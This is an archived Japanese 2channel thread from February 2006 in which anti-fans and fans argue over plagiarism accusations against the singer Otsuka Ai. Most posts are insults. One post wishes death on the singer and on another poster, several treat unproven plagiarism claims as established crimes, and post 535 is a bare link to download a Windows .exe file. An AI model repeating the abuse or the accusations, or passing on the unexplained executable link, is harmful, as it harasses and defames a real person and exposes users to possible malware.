404 :名も無き音楽論客:2006/02/06(月) 23:10:16 ID:XiYg48Mh
>>401
そういってればきりがない。
どこまでアンチは似てる作品を探せば気が済むんだよ!

405 :名も無き音楽論客:2006/02/06(月) 23:15:44 ID:???
オッさん暴れ杉wwwwwwwwwwwww

406 :名も無き音楽論客:2006/02/06(月) 23:17:34 ID:XiYg48Mh
オッサン??

407 :名も無き音楽論客:2006/02/07(火) 00:23:42 ID:v5DdrbVx
>>395でもその噂は本当っぽいよ!!

>>404おっさん久しぶり!!あ!大塚が死ぬまで探しつづけるよ!!あんなのは日本の音楽界の恥じ!!いやゴミ!!大塚は前相方にも捨て
られた。あんなのは死んだほうがいいから徹底的につぶす!!

ちなみに曲が発売するごとに(今までの曲もそう)似てる曲を探し、少しでも似てたらパクリだからな!!バンプなんてほかの曲と全然似てないしもし似てたとしてもバンプの場合はしょうがない!!

大塚&おっさんは死ね!!

408 :名も無き音楽論客:2006/02/07(火) 06:35:28 ID:???
>>407

その程度の概念で、盗作なんていってるんだよなぁアンチは・・・
>>407のカキコミはさぁ君らアンチの高度な知能を醸し出して俺たちファンを疲れさすぜぇ・・

何言っても無駄なわけだ。なあ、オッサン




409 :名も無き音楽論客:2006/02/07(火) 15:37:17 ID:gryxw6YK
>>407
なんだよその低脳が書いたといわれる文章は。
死ね!としかいえないようだな。可哀想に。
少し似てたくらいでこんなにも騒いでなんになる?
何にもなんないと思うよ!

410 :名も無き音楽論客:2006/02/07(火) 15:39:16 ID:gryxw6YK
>>407
あんたの文は矛盾ありすぎ。
大塚の場合は盗作でなぜバンプはしょうがないの?
頭おかしい?

411 :名も無き音楽論客:2006/02/07(火) 15:52:04 ID:???
>>409-410
俺は407じゃないんだが、お前しつこい

412 :名も無き音楽論客:2006/02/07(火) 16:09:26 ID:YPSOxAxo
大塚愛ちゃんはマジ頑張ってるよ!!曲を作るときに
みんなに親しまれる、おぼえやすいフレーズを作ってるから、
どっかで聞いたみたいな歌詞とかフレーズを思い出しちゃうのは
しょうがないと思う。てゆうかヒトが作った歌パクるなんて
そんな熱意の無い歌手にはなるつもり無いと思うけど。
才能あると思うよ。

413 :名も無き音楽論客:2006/02/07(火) 16:22:43 ID:gryxw6YK
>>411
人の発言をしっかり聞け。

414 :名も無き音楽論客:2006/02/07(火) 17:17:40 ID:???
>>413 お前こそ人の話を聞け。糞オヤジ

415 :名も無き音楽論客:2006/02/07(火) 17:40:05 ID:ffDoLs7G
gryxw6YK



オッサン!

416 :名も無き音楽論客:2006/02/07(火) 18:09:59 ID:???
オッさん大暴れ。大人はこんなとこ来て暴れるなよwwwwwwwwwwwwww

417 :名も無き音楽論客:2006/02/07(火) 21:42:28 ID:K0fG4lHu
どんなアーティストだろうと盗作は犯罪。「このアーティストはやってもいい」なんていう407みたいな糞は氏ね。

418 :名も無き音楽論客:2006/02/07(火) 21:47:40 ID:???
頭悪そうな文章ばかりだな。ヤツが住み着いてるプギャー

419 :名も無き音楽論客:2006/02/07(火) 21:47:57 ID:ewEDdLbr
>>416
俺暴れてないよ。
お前らが暴れているだけだ。
盗作がどうのこうの細かすぎ。

420 :名も無き音楽論客:2006/02/07(火) 23:33:23 ID:???
訴えても微妙に勝てないしみっともないよな

421 :名も無き音楽論客:2006/02/07(火) 23:39:52 ID:UgjfMXHt
最近オッサンの肩持ってる香具師がいるな
エイベがTV-CMでCIマーク外したのが何よりの証拠だろ
盗作犯罪の片棒担ぐとは男気溢れてるね
その調子で犯罪に手を染めてくれ

422 :名も無き音楽論客:2006/02/08(水) 00:01:31 ID:h1SvoWO7
421うるさい

423 :名も無き音楽論客:2006/02/08(水) 00:20:01 ID:ErtOI53E
大塚愛とかあんなのが流行ってる事自体、日本は終わってると思う。
だからさ、盗作だなんて騒ぐ程のレベルじゃねーよ

424 :名も無き音楽論客:2006/02/08(水) 00:38:49 ID:h1SvoWO7
423却下

425 :名も無き音楽論客:2006/02/08(水) 08:06:37 ID:???
>>424乙!!!!!!オッさんwwwww

426 :名も無き音楽論客:2006/02/08(水) 10:19:59 ID:tZQk2avd
日本にある邦楽は演歌、雅楽など以外殆ど海外からぱくられてるって事に
気づいたほうがいいよ。盗作とか言ってる人は演歌か雅楽か洋楽しか聴いちゃだめ。
まぁ俺は洋楽しか聴かないんだがな。

427 :無名さん:2006/02/08(水) 10:59:00 ID:gKwdAQDr
http://gedo-style.com/g/?v=71825&n=1&d=d.jpg


タイ━━━━||Φ|(|゚|∀|゚|)|Φ||━━━━ホ!!!!

キタ━━━━━━━━(゜∀゜)━━━━━━━━ッ!!

428 :名も無き音楽論客:2006/02/08(水) 14:31:47 ID:Eh1VLi66
>>426
擁護派だよな
日本にある邦楽(重複)
海外からぱくられてる×
海外からパクってる○
(邦楽聴かないなら知らんだろ)
大体確証もないのに盗作と決め付けるなと言うのが
藻前らの言い分だったはず

墓穴掘ってりゃ世話ねーぜ



カス

429 :名も無き音楽論客:2006/02/08(水) 15:54:57 ID:tZQk2avd
そんなおこんなくったっていいじゃん!

430 :名も無き音楽論客:2006/02/08(水) 16:02:51 ID:tZQk2avd
俺が言いたいのはジャイアニズムは良くないよ!ってことだ
海外のものを取り入れたからって日本の文化だって言うのは
某国と変わらん。

431 :名も無き音楽論客:2006/02/08(水) 16:10:03 ID:???
>>428
どう見たら擁護派になるんだ?中立もしくは否定派だろ

432 :名も無き音楽論客:2006/02/08(水) 16:38:27 ID:mH0vvKUZ
ってか盗作盗作騒いでいるほうがよっぽど哀れだ。

433 :名も無き音楽論客:2006/02/08(水) 17:22:33 ID:ErtOI53E
↑そのとーり

434 :名も無き音楽論客:2006/02/08(水) 18:15:49 ID:mH0vvKUZ
アンチなんか所詮人をけなすことしかできんのだ。


435 :名も無き音楽論客:2006/02/08(水) 18:26:09 ID:jCCmLDW1
盗作を許せない人が集まるスレですが何か?

436 :名も無き音楽論客:2006/02/08(水) 18:57:34 ID:t9ASOhnV
>>401
どこが似てるの?アンチは被害妄想なんだよ。

437 :名も無き音楽論客:2006/02/08(水) 19:02:19 ID:t9ASOhnV
>>407
お前本当は盗作とかどうでもいいんだろ。大塚が消えればそれでいいんだろ?

438 :名も無き音楽論客:2006/02/08(水) 19:04:13 ID:t9ASOhnV
>>395
別にカッチャンと付き合ってても付き合ってなくてもどうでもよくね?

439 :名も無き音楽論客:2006/02/08(水) 20:32:23 ID:DT/PXsM9
>>435
何か?じゃねーよ。
人の意見もきけよ。
これくらいよくあることだが、一慨に盗作だとは言えないといっている。

440 :名も無き音楽論客:2006/02/08(水) 21:24:56 ID:zeDYNJoa
>>439
ttp://nextxp.net/./images/paknetarium2.jpg
何度も出てまつがこんなの氷山の一角にも満たない検証
「盗作だとは言えない」
と言える神経がすごい

441 :名も無き音楽論客:2006/02/08(水) 21:44:49 ID:???
>>432
あれだけパクッといて盗作盗作と騒がない方がおかしい

442 :名も無き音楽論客:2006/02/08(水) 22:29:19 ID:R0aqpM98
>>441
確かにネットに反感を買ってるが、パクリはしてないと思う人がいるわけだから
その意見を持つ人にも聞く耳もてよ。お前は自己中なんだよ!
アンチはただ大塚愛が盗作したとかいって被害妄想なだけじゃん。

443 ::2006/02/08(水) 22:39:26 ID:???
文章可笑しいんですけど
大塚ヲタ的にはこれでいいの?



バカじゃん

444 :名も無き音楽論客:2006/02/08(水) 22:44:03 ID:R0aqpM98
>>443
それしかいえないアンチが哀れだよ。
反論できなくなるとすぐこれか・・・

445 :名も無き音楽論客:2006/02/08(水) 22:57:49 ID:???
>>442
アンチの言葉にも耳を傾けて受け入れてないお前に言われても説得力ゼロなんだけどね。矛盾してることを相手に押し付ける方が自己中なんじゃない?

446 :名も無き音楽論客:2006/02/08(水) 22:59:01 ID:???
大暴れだな、オッさん!

447 :名も無き音楽論客:2006/02/08(水) 23:01:15 ID:???
オッサン全然成長してねぇーな。
ダメ人間は一生ダメ人間だってことがよくわかったよ。

448 :名も無き音楽論客:2006/02/08(水) 23:09:17 ID:???
>>444 一人で奮闘してるお前が一番哀れだよ

449 :名も無き音楽論客:2006/02/09(木) 06:19:53 ID:RQ+Ab80w
おっさんなんでID変えまくってるの?変えても文章力の無さですぐわかるけどww中傷と批判の区別もついてないし。

450 :名も無き音楽論客:2006/02/09(木) 06:45:53 ID:6JwpsRfn
>>449
変えてねーよ。そこまでしつこいのか?アンチは。
呆れてものが言えない。
盗作も疑惑なのに100%とかって勝手に言ってるけど違ったらどうすんの?
>>448
奮闘してないから。
>>447
盗作とかオッサンしかいえないあなたが可哀想。
お前こそ成長しないとやばいんじゃない?
>>445
最初に言ったとおりアンチの意見も少しはきいてるつもりだけど。

あと>>445>>446>>447>>448
は同一人物?口調が似てる。
ってか同じことを言ってるだけ。
さすがアンチは糞級レベルッス。
もっとアンチらしいまともな意見を主張してくれれば可愛げがあるけど。
今のアンチじゃあまともなのはいないからな〜


451 :名も無き音楽論客:2006/02/09(木) 06:50:06 ID:6JwpsRfn
>>449
別に俺が中立もしくは否定派となんか言ったつもりないが・・・
アンチの批判は俺だけじゃあないと思うが。
アンチはうっとうしいししつこいから皆俺の書き子にみえるの?
馬鹿じゃない?

452 :名も無き音楽論客:2006/02/09(木) 07:20:24 ID:???
>>450-451
オッさん降臨。精神年齢3歳www

453 :>>443>>446ですが:2006/02/09(木) 08:05:14 ID:???
エイベの体質はマジで許せないけど
それ以前にオッさんおもしろ杉
こんな板に粘着してないで働けよ

ちなみに比率は反対派1億2千万:擁護派オッさん1
くらいじゃね?

454 :名も無き音楽論客:2006/02/09(木) 09:40:31 ID:???
>>450
スレタイ読んだ?ここは大塚の盗作を本気で許せない奴が集まる所だよ。許せないと思う奴がファンに自己中だって言う方がおかしだろ。何をどう思うが自由。このスレから見ればお前が自己中だよ。そうゆうのファンスレでやってくれない?

455 :名も無き音楽論客:2006/02/09(木) 09:46:40 ID:???
>>450
いい年して「あいちん(*´Д`)ハァハァ」って言ってる方がよっぽどヤバいんじゃないwww?
可哀想な人だww

456 :名も無き音楽論客:2006/02/09(木) 09:57:51 ID:???
>>451
>>449のどこに中立って書いてある?中立じゃなくて中傷だろww
文章もろくに読めないのか?
バカじゃないの?

457 :オナカスイタ:2006/02/09(木) 13:12:41 ID:???
頭の悪いアンチ向けに書いたオレのカキコ
>>358
>>374

おまえらアンチの意見
>>407
この程度の考えてパクリだ何だという意見を言うアンチの考えがわからんのよアンチのオッサン?
だからファンが怒るんだ。こんなもんは(>>407)オレオレ詐欺レベルじゃね?
自分で論理的なことが、かけないようならパクリとか盗作についての意見など自分で持ってないと同じだ。
てか、自分の意見に反論してる奴全部同じだと思ってるんじゃねぇ?おまえは何でも自分の都合のいい方に考えるな。まるで(>>407)のカキコミみたいだぞ文は人を表すよなぁ。

いいかけげん学校に行ったらどうだ?つーか社会人だな?藁







あいちん(*´Д`)ハァハァしてるのはオレとアイツだけだ!
はい、もう書き込みませんよ!あいちん(*´Д`)。







458 :名も無き音楽論客:2006/02/09(木) 13:42:09 ID:Ryt7v/8X
ぁたし19の♀だけど愛ちん大好きょ☆
おっさんだけじゃないょっ!!
412と422と424ゎぁたしのカキコ↑↑


459 :名も無き音楽論客:2006/02/09(木) 13:58:45 ID:???
変なオッさんと優香のコメディかよw




テラワロス

460 :名も無き音楽論客:2006/02/09(木) 14:02:29 ID:???
>>457
きんもー☆

461 :名も無き音楽論客:2006/02/09(木) 14:03:00 ID:???
そうだなオッサン>>459


462 :名も無き音楽論客:2006/02/09(木) 14:06:16 ID:CmE+s5st
>>460

オイオイ、それ以上オレをほめるなよぉ。まだまだだぜオレは、絶対オレはキモカワイイになれる

463 :名も無き音楽論客:2006/02/09(木) 14:13:33 ID:???
>>462
(´,_ゝ`)プッ

464 :名も無き音楽論客:2006/02/09(木) 14:25:13 ID:???
大塚愛の盗作を本気で許せる人達は集まらないで!
オッサンどっか逝けウザイ!


いなくなれ

465 :名も無き音楽論客:2006/02/09(木) 14:32:25 ID:???
      ∧
     /´。 `ーァ
    ヽ{  々 ゚l ノ    ……!
    (( ノ(    )ヽ ))
     <    >

466 :名も無き音楽論客:2006/02/09(木) 14:34:40 ID:CmE+s5st
>>464

じゃあ本気で話せ!
中傷みたいな文じゃなくちゃんと理論整然とした自分の意見で。



467 :名も無き音楽論客:2006/02/09(木) 14:36:35 ID:???
いい加減スルーしようよ
オッサンに説明したって平行線のまま。

468 :天才インターネッター:2006/02/09(木) 14:41:16 ID:lsSoEleO
それはどうかな?
インターネッツ歴27年です!1

469 :名も無き音楽論客:2006/02/09(木) 14:53:01 ID:???
で?

470 :名も無き音楽論客:2006/02/09(木) 15:06:51 ID:???
サシバシとしたスレに突如ヘーベルハウスが!!

       /|
       |/__
       ヽ| l l│<ハーイ
       ┷┷┷


    _, ,_  パーン
  ( ゜д゜)
   ⊂彡☆====== /|
       __       |/
      ヽ| l l│
      ┷┷┷


.        __
       ヽ| 'A`.| トリニイクノマンドクセ...
       ┷━┷

471 :名も無き音楽論客:2006/02/09(木) 16:10:32 ID:???
エイベがばら撒いた保身のためのデマ

素敵だねのプロモーションの原画を作ったFF専属の植松さんは、
そのときのプロモーションがあまり思った通りにできなかったため、
エイベックスから大塚愛さんのプロモーションを頼まれたときに、
素敵だねと雰囲気がにてるからもう一度プロモーションを復活させたいと、
同じプロモーションを使って、植松さんは納得していたが、
ネットでの盗作疑惑などの批判が多く、
植松さんは非常に今がっかりして
「はやく批判終わらないなぁ」と願っているという。

検証
1、「プロモーション(促進)」と言う言葉の誤用で撹乱を図っている
2、関係者が「著作権」に関して知らないはずがない
3、「素敵だね」を知っていれば「雰囲気がにてる」では済まない
4、原作者が「盗作」を容認したことは認めている!
5、個人レベルの問題に摩り替えようとしている
6、「批判」と言うレベルで済まそうとしている

明らかにエイベの組織的「犯行」であって
稚拙な隠蔽工作であることは明白

音楽を愛する諸君! 決して犯罪者を許してはならない!

472 :名も無き音楽論客:2006/02/09(木) 19:52:31 ID:???
オッさんが燃えてるスレはここでつか?

473 :名も無き音楽論客:2006/02/09(木) 20:09:18 ID:???
http://music4.2ch.net/test/read.cgi/music/1134566735/248
    ,-ー──‐‐-、
   ,! ||      |
   !‐---------‐
  .|:::i ./´ ̄ ̄`ヽi
  ,|:::i | (´∀`) ||
  |::::i | .ウ マ ー ||
  |::::i |中濃.ソース||
  |::::i L___________」|
  |::::i : : : : : : : : : |
  `'''‐ー------ー゙

474 :名も無き音楽論客:2006/02/09(木) 22:17:03 ID:Eu/v6qFI
>>454
違った意見もつ人だってどこだっています。
そういう人に対しても1人1人の意見を大切にな!
アンチなんかまったく意見になっていないからな。
>>464
結局その言葉か?
アンチがまともな意見すらいえないのにびっくりした!

475 :名も無き音楽論客:2006/02/09(木) 22:20:24 ID:???
おーい頼むからアンチからのまともな意見聞きたいなー。
ファンが消えろ!とか言う以前にお前らアンチは全員引きこもりだろ?
アンチは大塚愛とそのファンにたくらみがあるんならこんなショボイ掲示板
で発言すんな!
ってかさ盗作とか話し合う以前にアンチの頭の悪さだけはどうにかして欲しい。
みんな迷惑です。

476 :名も無き音楽論客:2006/02/09(木) 22:57:52 ID:???
>>474
このスレに来るならアンチの一人一人の意見も大切にしたら?アンチの意見を受け止められないならここに来る資格なし。そうゆうの自分で言ったことを実行できてから発言しなよ。不憫で仕方ない。

477 :名も無き音楽論客:2006/02/09(木) 23:02:08 ID:???
>>475
アンチが全員引きこもりだっていう発言の方が頭悪いんじゃない?その発言がとてもまともな意見だと思わないけど。もっとマシな意見言ってくれないかなー。迷惑です。

478 :名も無き音楽論客:2006/02/09(木) 23:07:42 ID:???
>>477
だって冗談抜きで引きこもりでしょ!?明らかに。
一日中同一人物がこのスレに粘着してるからな!笑
それほど批判したいのか、馬鹿にされたいのかが分からん。

479 :名も無き音楽論客:2006/02/09(木) 23:08:39 ID:RQ+Ab80w
>>474-475自演乙

480 :名も無き音楽論客:2006/02/09(木) 23:18:32 ID:???
>>478
お前からそう言う意見聞くなんてガッカリだよ。本気で盗作について話したい訳?少しは成長したと思ったらあの時と全く変わってない。これじゃ話にならないよ。一回何で自分がアンチにバカにされるか考えてみなよ。

481 :名も無き音楽論客:2006/02/09(木) 23:30:02 ID:YfiEvzyI
ぱくりの定義 俺的に
1:自分で作詞作曲している
2:知名度のある人が知名度のないところからぱくる
3:似ている曲が5つ以上ある
4:直接的または間接的にパクりを認めた
5:作詞作曲のクレジットを変えた
 3つ以上で盗作決定 盗使は1.2.3が当てはまる 
 オレ○ジレン○はすべてだが、、

482 :名も無き音楽論客:2006/02/10(金) 07:26:18 ID:cpRkBfa+
>>474-475
必死だな
きんもー☆
m9(^Д^)プギャー!!

大塚ヲタと「論」ずるつもりはないんだよ
罵声浴びせて楽しんでるんだから
遠慮なく叩かれに来てください ヲタ共

483 :名も無き音楽論客:2006/02/10(金) 08:09:51 ID:???
擁護派の皆さん
>>471がヌルーされてまつが擁護派が出せとうるさいまともな意見と思われ
オッさんにも都合の悪いことはヌルーするくらいの学習能力はあるのか?
そうなると卑怯者の称号を与えないわけにはいかないわけだが
ま、犯罪者の肩を持っている時点で話にならんし
筋の通らない罵詈雑言しか言えないんじゃね?

484 :名も無き音楽論客:2006/02/10(金) 12:21:33 ID:7Rod/SHL
大塚愛の詞は凄いよ永遠に解けないパズルのような民俗学的な楽しみかたが出来るよ!


485 :名も無き音楽論客:2006/02/10(金) 13:40:08 ID:???
>>483

悪いが妄想の範囲内で何をどう答えていいのかわからないのだよ。

486 :名も無き音楽論客:2006/02/10(金) 15:08:16 ID:???
>>484
確かに。人の歌詞パクリまくってるからある意味謎。

487 :名も無き音楽論客:2006/02/10(金) 16:00:42 ID:???
大塚愛が100%パクッタか?
証拠ねーじゃん。
検証サイトなんか聴いて盗作じゃないと思う人だってたくさんいます。
そんなん一概にパクリなんかいえないの。
分かったか?

意見はオマエラとは違う。
違う意見があってこそより深く話し合えるのでは?

488 :名も無き音楽論客:2006/02/10(金) 16:06:44 ID:???
>>487
違う意見があってこそ話が深まるねー。今まで深まったことなんて一度もなかったんだけど。だからお前には用はない訳。消えな。

489 :名も無き音楽論客:2006/02/10(金) 16:53:22 ID:???
>>487  オッさん

490 :名も無き音楽論客:2006/02/10(金) 17:27:37 ID:???
>>487
擁護派はどうせ話をそらすんだろうけど
PVのコンテ書いた椰子が認めてんだろ
エイベがやらせてるってことも検証されてる
大塚愛だって分かっててやってること
意見を聞けってばっかだけど
その意見てのが「確証がない」の一点張り

オッさん同じことしか言えないのな
深く話し合う前に深く考えろカス

491 :名も無き音楽論客:2006/02/10(金) 17:48:11 ID:???
>>490 オッさんに深く考えろなんて言ったらかわいそうだろ?オッさんはまだそこまで発達してないんだよwwwwwwwwwww

492 :名も無き音楽論客:2006/02/10(金) 18:17:39 ID:???
あのさアンチの意見に反対の人は何人いると思ってんだよ。
またオッサンかよ。アンチはほんと頭悪いな。
>>490
お前だけに用がある。
大塚愛の原案からアレンジしてpv出したんじゃねーの?
そんなお前だけの考えについてこれん。
曲は少しくらい似ることもあるだろうし、似てること=盗作と結びつけるな!
一慨に盗作といえないのはそこにある。
俺は盗作疑惑に関して半信半疑だ。
お前らは勝手に100%盗作した!の一点張り。
話がかみ合わないのはお前らが馬鹿なだけ。
ちゃんとまともに発言すれよ。この掲示板の意味ないじゃん。

493 :名も無き音楽論客:2006/02/10(金) 19:20:26 ID:qtYu/09h
おまいら、糞みたいな書き込みしてる暇があったら
http://www.dff.jp/行って人の役に立ってこい


関連スレ
【無料募金】クリックで救える命がある。
http://music4.2ch.net/test/read.cgi/msaloon/1108954954/

494 :名も無き音楽論客:2006/02/10(金) 19:34:27 ID:7Rod/SHL
>486
そうゆう意味じゃなくて
例えば優顔って言葉、なんでゆうがおって読むのかとか考えると非常に興味深いよね。

495 :名も無き音楽論客:2006/02/10(金) 19:52:50 ID:7Rod/SHL
感覚で書いてるとしたら草野的に天才だし
狙ってやってたら桑田や陽水並の技術だろ
パクってたとしてもいいセンスしてると思うよ。

496 :名も無き音楽論客:2006/02/10(金) 20:08:20 ID:???
>>495
そうゆう開き直りが気に触る。パクリに才能なんかある訳ないだろ。

497 :名も無き音楽論客:2006/02/10(金) 20:47:43 ID:???
>>495
大塚に才能がないからパクるんだろ
勘違いすんな

498 :名も無き音楽論客:2006/02/10(金) 21:30:03 ID:???
>>494
そうゆうのファンスレでやれよ。パクった歌詞には興味はない。

499 :490ですが:2006/02/10(金) 22:15:10 ID:???
>>492
オッさん相変わらず大暴れでうれしいよ
おめーがいなくなるとつまんねーからさ
>大塚愛の原案からアレンジしてpv出したんじゃねーの?
学生時代に作りましたと同じで単純な偽装工作じゃん
そこからかよ

レベルの違いがよくわかった

>お前らは勝手に100%盗作した!の一点張り。
こう言うのをな、「鸚鵡返し」って言うんだよサル

500 :名も無き音楽論客:2006/02/10(金) 22:29:49 ID:???
500だったらののタソとお風呂

501 :名も無き音楽論客:2006/02/10(金) 22:36:33 ID:yn99pugh
<学生時代に作りましたと同じで単純な偽装工作じゃん
そこからかよ

そのお前の発言について言いたいのだが、なぜ盗作したと言い切る?
お前は大塚愛のこと何でも知ってんの?
そういうの盗作とかいわず似てるというんだよ。
故意的に似せた訳じゃないだろ?多分。
そんなこともわからんで人にケチつけてきたのか?
まったく低レベルな奴ら。

502 :名も無き音楽論客:2006/02/10(金) 22:48:26 ID:???
>リーバイス
ケチをつけてんのはオッさんに対してなんだよ
おもしろいからふざけてるだけなんだけどさ
オッさん、ちょと資料不足なんじゃね?
半信半疑で擁護してんなよハゲ

503 :名も無き音楽論客:2006/02/10(金) 22:56:49 ID:yn99pugh
>>502
ってかさ・・アンチは本当に態度でかいよな。掲示板のみ。
で聞きたいんだけど、お前らも100%の事実もないのに大塚愛ばかり責めんなよ。
盗作なんかしたかしてないかなんてお前らの知ったこっちゃない。

504 :名も無き音楽論客:2006/02/10(金) 23:01:54 ID:???
>>501
逆に聞くけどなぜ盗作じゃないと言い切れる?お前は大塚愛のことで何でも知ってんの?友達だった訳?ファンだから、好きだからとかじゃ理由にならない。話したこともないくせに大塚のこと何でも知ってるみたいな態度やめたら?本当低レベルなオッサン。

505 :名も無き音楽論客:2006/02/10(金) 23:08:42 ID:???
>>503
それはこっちのセリフ。お前だって100%の事実もないのに盗作してないなんて軽はずみに言うなや。盗作なんかしたかしてないかなんてお前にも知ったこっちゃないだろ。

506 :名も無き音楽論客:2006/02/10(金) 23:12:12 ID:yn99pugh
>>504
はっきり言うけど逆に聞かなくていい。
つーかアンチからさ、「盗作だ!故意的にやった!」って意見がでてんだけど
なにを根拠にその発言ができんの?
意見にもなっていないんですけど。
>>505
俺大塚愛が盗作してないなんかいいました?
ただ半信半疑と言ったまでですけど。


507 :名も無き音楽論客:2006/02/10(金) 23:14:14 ID:/NzgmVtG
早い話はよ「あの歌手は嫌い」とか「あの歌手は最高」なんてどうでもいいんだよ・・・よは自分が一番好きな歌を聞けばいいんだよっ!!このヴォケがっ!!!


508 :名も無き音楽論客:2006/02/10(金) 23:14:52 ID:???
>>503
態度デカいだぁ?ファンがアンチスレに来て荒らす方がよっぽど態度でかいだろwww
自分には否がないってかww引きこもり発言した奴がとても礼儀正しい奴だとは思えないけどwww

509 :名も無き音楽論客:2006/02/10(金) 23:19:55 ID:???
>>506
逆に聞かれて答えられないからって逆上するのやめたら?大人気ない。

510 :名も無き音楽論客:2006/02/10(金) 23:22:21 ID:???
>>506
前スレでハッキリ「大塚は盗作はしてない!」って自分で言ってないのに覚えてないのかよwww
いい加減自分の発言に責任もったら?

511 :名も無き音楽論客:2006/02/10(金) 23:28:56 ID:yn99pugh
>>510
で?結論を聞きたいんだけど。

512 :名も無き音楽論客:2006/02/10(金) 23:32:26 ID:ZWAuvIct
>>511で?じゃねーよw

513 :名も無き音楽論客:2006/02/10(金) 23:33:28 ID:???
>>506
俺はアンチだけど「あれは盗作だ!故意的にやった!」なんて一言も言ってなんだが。あくまで疑惑。アンチが全員が全員同じこと言ってるんじゃないのも理解出来ないのか。1から説明すんのめんどくせ!

514 :名も無き音楽論客:2006/02/10(金) 23:37:57 ID:???
>>511
こっちが聞いてんだよ結論を。逃げるんだ。

515 :名も無き音楽論客:2006/02/10(金) 23:52:07 ID:???
      ∧
     /´。 `ーァ
    ヽ{  々 ゚l ノ    ……!
    (( ノ(    )ヽ ))
     <    >

516 :名も無き音楽論客:2006/02/11(土) 00:00:49 ID:yn99pugh
>>514
説明すんのはお前らだよ。お前らが勝手に大塚愛を犯罪者にしてるんだろ?
一体何の根拠かを聞いている。
回答はまともな意見で。よろしく。

517 :名も無き音楽論客:2006/02/11(土) 00:08:37 ID:0GONn9t4
>>516前スレで言ったじゃん。腐るほど。

518 :名も無き音楽論客:2006/02/11(土) 00:11:16 ID:???
>>516
だからいつ大塚を犯罪者にしたんだよ。あくまで疑惑だっつの。俺FFやってたからプラネタリウムのPV、曲を聞いてこれはもろRIKKIだって思った訳。どう?満足した?答えたんだからお前逃げないで答えろよ。

519 :天才インターネッター:2006/02/11(土) 00:12:53 ID:We3KKNyI
それはどうかな?
インターネッツ歴27年です!1

520 :名も無き音楽論客:2006/02/11(土) 00:14:30 ID:???
>>519
童貞は引っ込んでろ

521 :名も無き音楽論客:2006/02/11(土) 00:33:55 ID:eVGS07oY
>>518
アンチが盗作一点張りの奴がいたからさ。ただなんでそんな自信があるのか聞いただけ。
べつに俺が答えても何も始まらないジャン。
アンチにさっきをまともに聞きたかっただけ。

522 :名も無き音楽論客:2006/02/11(土) 00:34:04 ID:???
引っ込んでろだなんて
 ∧||∧
(  ⌒ ヽ  ひどい誤爆をした
 ∪  ノ
  ∪∪
   ;
 -━━-
ここはひどいインターネットですね!11

523 :名も無き音楽論客:2006/02/11(土) 00:36:53 ID:???
>>521
あなたの心です!

524 :名も無き音楽論客:2006/02/11(土) 00:42:11 ID:???
>>521
だからアンチが全員が全員同じ意見とは限らないって言ったよなぁぁ?聞いてた?
俺はちゃんと答えたんだから答えな。それが人としての礼儀だろがよ。

525 :名も無き音楽論客:2006/02/11(土) 00:54:40 ID:eVGS07oY
>>524
雑誌にレコーディング前とかって書いてあったから。
あとこんなにも多くの音楽が似てしまうことは非常によくある。
作品を馬鹿にすることは許せないと言いたい。

526 :名も無き音楽論客:2006/02/11(土) 01:07:22 ID:???
>>525
作品は馬鹿にしたら許せないのに盗作疑惑は許せるの?それは都合がいいだろ。

527 :名も無き音楽論客:2006/02/11(土) 01:24:45 ID:eVGS07oY
>>526
ってか盗作疑惑があるほど大塚愛が有名なんじゃん。
だから皆して大塚を叩くんだよ!
盗作と盗作疑惑は明らかに違う。疑惑くらい誰だってある。
いわゆる似てしまうのは仕方ない。


528 :名も無き音楽論客:2006/02/11(土) 01:37:43 ID:???
>>572
それはファンの都合のいい話にしか聞こえない。例えば桑田佳祐は有名だけど叩かれてないし、盗作疑惑もない、似てる曲も一切ない。有名だからって叩かれると限らない。本当純粋に音楽やってる人は叩かれないって。

529 :名も無き音楽論客:2006/02/11(土) 01:40:45 ID:???
自分は盗作と決め付ける気はない
でも、個人と組織は違うからね
エイベが金積めばメディアを丸め込むくらいわけないし
純真にアーティストを応援するファンには
盗作疑惑は罵詈雑言にしかならないんだろうな
ただ、反対運動って起こさないとそのまま有耶無耶にされちまうんだよ
それに多少でも動くことで事態を抑制する事ができる
好きなアーティストがずっと盗作疑惑を引きずって活動してもいいの?
これまでは別として、今後を変えていくには
消費者が是正を求めないと何も始まらないよ
エイベを愛してるなら、事態を変えていこうよ
胸張って盗作なんかしてないって言おうよ
今はそれ無理でしょ

530 :名も無き音楽論客:2006/02/11(土) 11:41:08 ID:???
大塚愛の歌は結構好き。
実力派シンガーとしてこれからも頑張って欲しい。

531 :名も無き音楽論客:2006/02/11(土) 12:28:23 ID:???
>>530
あの歌唱力が実力だぁ?
笑わせんなwww

532 :名も無き音楽論客:2006/02/11(土) 12:43:18 ID:0GONn9t4
>>527おっさんの論理で行くと有名な歌手はみんな盗作疑惑があって、みんな叩かれてる事になるけど?
あと所謂の使い方が間違ってるし、日本語がおかしい。低学歴が難しい言葉使わない方がいいよw

533 :名も無き音楽論客:2006/02/11(土) 14:19:28 ID:???
>>527 プッwwww

534 :名も無き音楽論客:2006/02/11(土) 14:49:47 ID:qVPaSDEJ
いやあ〜、このバトルを見たら興奮して起ってきたよ

535 :名も無き音楽論客:2006/02/11(土) 14:51:07 ID:BaTzYP1r
ダウンロード
http://file.vidr.jp/setup/vidoctorsetup.exe



536 :名も無き音楽論客:2006/02/11(土) 17:00:45 ID:???
http://music4.2ch.net/test/read.cgi/music/1139556533/

オッさんはここでも梅ていろ。wwwwww

537 :名も無き音楽論客:2006/02/11(土) 19:17:45 ID:jXP1YuC4
>>531
大塚愛のこと好きな人はたくさんいます。
大塚愛も実力はあるでしょう。
>>532
つまり盗作疑惑ごときで騒ぎすぎのあなたたちがおかしい。

538 :名も無き音楽論客:2006/02/11(土) 19:24:57 ID:???
同感。
大塚以上のシンガーが居るのならば教えて欲しいよ。

539 :名も無き音楽論客:2006/02/11(土) 19:43:52 ID:AKiD9QAN
大塚は神の声の持ち主

540 :名も無き音楽論客:2006/02/11(土) 19:51:05 ID:???
>>538
大塚以上の歌手をみたことないか?どんだけ視野が狭いんだよ。ブリトニー・スビアーズ、ビヨンセ、スピーディー・ワンダー、マライア・キャリー、ステイシー・オリコ、アブリル・ラビーン。大塚を遥かに超える歌手は沢山いるじゃん。馬鹿じゃないの?

541 :名も無き音楽論客:2006/02/11(土) 19:54:52 ID:???
>>537
好きだからってみんながみんな大塚が歌が上手いと思うとは限らない。いつも思考がおかしい!どっかにネジ落としたんじゃねーか?

542 :名も無き音楽論客:2006/02/11(土) 19:57:15 ID:???
>>539
その神様はあんなに歌唱力がないんね。

543 :名も無き音楽論客:2006/02/11(土) 20:02:38 ID:???
>>540
それが大塚以上?
